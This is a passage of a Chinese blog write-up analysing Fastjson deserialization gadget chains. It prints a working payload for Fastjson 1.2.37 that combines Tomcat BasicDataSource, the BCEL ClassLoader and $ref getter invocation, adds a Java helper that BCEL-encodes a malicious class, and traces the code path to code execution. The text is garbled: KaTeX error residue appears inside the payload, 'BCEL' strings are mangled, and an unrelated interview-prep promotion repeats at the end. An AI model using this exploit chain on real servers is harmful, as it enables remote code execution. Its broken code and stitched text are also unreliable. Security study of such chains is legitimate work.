byte[] bytes = lexer.bytesValue();
…
跟入lexer.bytesValue()
方法,看到decodeBase64
public byte[] bytesValue() {
…
// base64解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
总结:
-
TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
-
需要开启
Feature.SupportNonPublicField
,实战中不适用
BasicDataSource
String payload = “{\n” +
" “name”:\n" +
" {\n" +
" “@type” : “java.lang.Class”,\n" +
" “val” : “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”\n" +
" },\n" +
" “x” : {\n" +
" “name”: {\n" +
" “@type” : “java.lang.Class”,\n" +
" “val” : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +
" },\n" +
" “y”: {\n" +
" “@type”:“com.alibaba.fastjson.JSONObject”,\n" +
" “c”: {\n" +
" “@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,\n" +
" “driverClassLoader”: {\n" +
" “@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”\n" +
" },\n" +
" “driverClassName”:“!!!Payload!!!”,\n" +
“\n” +
" “KaTeX parse error: Expected group as argument to '\"' at end of input: ref\": \".x.y.c.connection”\n" +
“\n” +
" }\n" +
" }\n" +
" }\n" +
“}”;
JSON.parse(payload);
这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包
com.alibaba
fastjson
1.2.37
org.apache.tomcat
tomcat-dbcp
8.0.36
生成driverClassName
的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = “ B C E L BCEL BCEL” + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。
生成的BCEL格式大概如下:
B C E L BCEL BCEL$l 8 b 8b 8bI A A AA A A AA A A AA A m Q AmQ AmQ…
将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();
将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞
回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:
“x” : {
“name”: {
“@type” : “java.lang.Class”,
“val” : “com.sun.org.apache.bcel.internal.util.ClassLoader”
},
“y”: {
“@type”:“com.alibaba.fastjson.JSONObject”,
“c”: {
“@type”:“org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,
“driverClassLoader”: {
“@type” : “com.sun.org.apache.bcel.internal.util.ClassLoader”
},
“driverClassName”:“!!!Payload!!!”,
“ r e f " : " ref": " ref": ".x.y.c.connection”
}
}
}
这个版本利用的是$ref
这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref
的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection
,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if (“$ref” == key && context != null) {
// 传入的ref是$.x.y.c.connection,匹配到else
if (“@”.equals(ref)) {
…
} else if (“…”.equals(ref)) {
…
} else if (“$”.equals(ref)) {
…
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 将$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 处理后设置到context
parser.setContext(context, object, fieldName);
漏洞的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith(“$”)) {
refValue = getObject(ref);
if (refValue == null) {
try {
// 看到eval感觉有东西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}
跟入JSONPath.eval
,这里的segement
数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 继续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
到达com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List results = new ArrayList();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
继续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {
val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次循环到达这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
…
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = fieldInfo.get(object);
到达com.alibaba.fastjson.util.FieldInfo
,达到最终触发点:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到这里的javaObject正是BasicDataSouce
回到BasicDataSource
本身
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction {
@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点,其中driverClassName
和driverClassLoader
都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader
,设置ClassName为BCEL...
这种格式后,在newInstance
方法执行后被实例化。第二个参数initial
为true时,类加载后将会直接执行static{}
块中的代码。
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
…
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
…
driverToUse = (Driver) driverFromCCL.newInstance();
总结:
最后
关于面试刷题也是有方法可言的,建议最好是按照专题来进行,然后由基础到高级,由浅入深来,效果会更好。当然,这些内容我也全部整理在一份pdf文档内,分成了以下几大专题:
- Java基础部分
- 算法与编程
- 数据库部分
- 流行的框架与新技术(Spring+SpringCloud+SpringCloudAlibaba)
这份面试文档当然不止这些内容,实际上像JVM、设计模式、ZK、MQ、数据结构等其他部分的面试内容均有涉及,因为文章篇幅,就不全部在这里阐述了。
作为一名程序员,阶段性的学习是必不可少的,而且需要保持一定的持续性,这次在这个阶段内,我对一些重点的知识点进行了系统的复习,一方面巩固了自己的基础,另一方面也提升了自己的知识广度和深度。
entThread().getContextClassLoader().loadClass(driverClassName);
…
driverToUse = (Driver) driverFromCCL.newInstance();
总结:
最后
关于面试刷题也是有方法可言的,建议最好是按照专题来进行,然后由基础到高级,由浅入深来,效果会更好。当然,这些内容我也全部整理在一份pdf文档内,分成了以下几大专题:
- Java基础部分
[外链图片转存中…(img-PafRldma-1714492391442)]
- 算法与编程
[外链图片转存中…(img-Qc3yP1zb-1714492391443)]
- 数据库部分
[外链图片转存中…(img-ixO9A7Lm-1714492391443)]
- 流行的框架与新技术(Spring+SpringCloud+SpringCloudAlibaba)
[外链图片转存中…(img-YC8WN26H-1714492391444)]
这份面试文档当然不止这些内容,实际上像JVM、设计模式、ZK、MQ、数据结构等其他部分的面试内容均有涉及,因为文章篇幅,就不全部在这里阐述了。
作为一名程序员,阶段性的学习是必不可少的,而且需要保持一定的持续性,这次在这个阶段内,我对一些重点的知识点进行了系统的复习,一方面巩固了自己的基础,另一方面也提升了自己的知识广度和深度。